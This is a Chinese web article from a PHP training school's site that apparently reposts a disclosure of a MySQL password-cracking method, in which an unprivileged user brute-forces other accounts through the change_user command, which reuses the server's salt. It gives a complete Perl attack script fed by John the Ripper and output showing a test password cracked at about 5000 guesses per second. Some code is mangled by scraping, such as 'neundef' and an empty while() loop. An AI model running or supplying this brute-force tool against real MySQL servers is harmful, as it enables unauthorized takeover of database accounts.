多数大学生出来选择的工作和专业无关
首页 > 专业知识

PHP快速的MySQL本地和远程密码破解

时间:2017-07-21 18:03:01 [来源]:郑州PHP培训学校

   PHP快速的MySQL本地和远程密码破解

  快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。
  我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
  方法如下:
  攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
  是什么导致非常慢?
  因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
  下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
  测试的用户是 crackme 密码为 pass,只需数秒就可破解。
  (大约 20 秒钟可测试 10 万密码)
  测试脚本如下:
  01useNet::MySQL;
  02
  03$|=1;
  04
  05my$mysql= Net::MySQL->new(
  06hostname =>'192.168.2.3',
  07database =>'test',
  08user =>"user",
  09password =>"secret",
  10debug => 0,
  11);
  12
  13$crackuser="crackme";
  14
  15while() {
  16chomp;
  17$currentpass=$_;
  18
  19$vv=join"\0",
  20$crackuser,
  21"\x14".
  22Net::MySQL::Password->scramble(
  23$currentpass,$mysql->{salt},$mysql->{client_capabilities}
  24) ."\0";
  25if($mysql->_execute_command("\x11",$vv) neundef) {
  26print"[*] Cracked! --> $currentpass\n";
  27exit;
  28}
  29}
  下面是我这台机器上的执行结果:
  C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
  hn --incremental --stdout=5 | perl mysqlcrack.pl
  Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
  words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
  words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
  words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
  words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
  words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
  words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
  words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
  [*] Cracked! --> pass
  words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
  Session aborted

上一篇:PHP技巧实例树形结构的算法

下一篇:PHP相关正则表达式语法